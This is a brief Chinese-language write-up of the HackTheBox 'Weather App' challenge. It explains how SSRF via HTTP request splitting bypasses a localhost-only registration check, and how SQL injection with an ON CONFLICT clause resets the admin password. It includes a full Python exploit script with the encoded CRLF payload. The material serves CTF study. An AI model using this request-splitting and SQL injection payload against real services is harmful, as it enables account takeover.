0X01 WriteUP
WriteUP:https://github.com/hacefresko/HTB-Web-WriteUps/blob/main/Weather App/Weather App.md
0X02 思路总结
通过代码审计,理清程序逻辑后可得到以下信息:
程序有四个路由,分别是默认页面,注册,登录和调用api查询天气信息;
注册请求需要从服务器本地发出,才能成功注册;
需要用admin账号登录才能获得flag;
username具有唯一性约束,不能重复注册;
register()函数存在sql注入。
利用SSRF(服务端请求伪造)绕过注册账号对本地请求的检查,然后利用sqli查询或者更改admin的密码。
0X03 知识点
Node.js代码审计
sql注入
通过请求拆分的SSRF:https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
SQL ON CONFLICT子句:https://www.dbmng.com/Article_486.html
0X04 利用程序
import requests
url = "http://127.0.0.1:1277"
username = ‘admin‘
password = "1337‘) ON CONFLICT(username) DO UPDATE SET password = ‘admin‘;--"
parseUsername = username.replace(" ", "\u0120").replace("‘", "%27").replace(‘"‘, "%22")
parsePassword = password.replace(" ", "\u0120").replace("‘", "%27").replace(‘"‘, "%22")
contentLength = len(parseUsername) + len(parsePassword) + 19
endpoint = ‘127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHOST:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120‘ + str(contentLength) + ‘\u010D\u010A\u010D\u010Ausername=‘ + parseUsername + ‘&password=‘ + parsePassword + ‘\u010D\u010A\u010D\u010AGET\u0120/?lol=‘
r = requests.post(url + ‘/api/weather‘, json={‘endpoint‘: endpoint, ‘city‘: ‘chengdu‘, ‘country‘: ‘CN‘})
print(r)
PS:这个程序在Linux环境下运行有效,在win10下运行没有效果......原因未知。。。